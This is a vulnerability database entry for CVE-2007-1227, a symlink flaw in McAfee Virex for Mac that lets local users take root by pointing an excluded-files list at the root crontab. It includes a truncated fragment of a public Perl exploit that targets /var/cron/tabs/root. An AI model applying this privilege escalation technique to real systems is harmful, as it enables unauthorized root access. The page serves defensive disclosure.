Published: 02/03/2007 Updated: 16/10/2018

CVSS v2 Base Score: 6.6 | Impact Score: 10 | Exploitability Score: 2.7

VMScore: 665

Vector: AV:L/AC:M/Au:S/C:C/I:C/A:C

VShieldCheck in McAfee VirusScan for Mac (Virex) prior to 7.7 patch 1 allow local users to change permissions of arbitrary files via a symlink attack on /Library/Application Support/Virex/VShieldExclude.txt, as demonstrated by symlinking to the root crontab file to execute arbitrary commands.

Vulnerable Product	Search on Vulmon	Subscribe to Product
mcafee virex
mcafee virex 6.2

#!/usr/bin/perl # # wwwdigitalmunitioncom # written by kf (kf_lists[at]digitalmunition[dot]com) # # Following symlinks is bad mmmmmmmmmmkay! # $dest = "/var/cron/tabs/root"; $tgts{"0"} = "Virex 77dmg:\"/Library/Application Support/Virex/VShieldExcludetxt\" "; unless (($target) = @ARGV) { print "\n\nUsage: $0 <target> \n ...

CWE-264 https://knowledge.mcafee.com/SupportSite/dynamickc.do?externalId=518722&sliceId=SAL_Public&command=show&forward=nonthreadedKC&kcId=518722 http://www.securityfocus.com/bid/22744 http://secunia.com/advisories/24337 http://www.securitytracker.com/id?1017707 http://securityreason.com/securityalert/2342 http://osvdb.org/33797 http://www.vupen.com/english/advisories/2007/0777 https://exchange.xforce.ibmcloud.com/vulnerabilities/32729 http://www.securityfocus.com/archive/1/461485/100/0/threaded https://nvd.nist.gov https://www.exploit-db.com/exploits/3386/

Get Started

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

CVE-2007-1227

Vulnerability Summary

Exploits

References

Vulmon Search

About

Products

Connect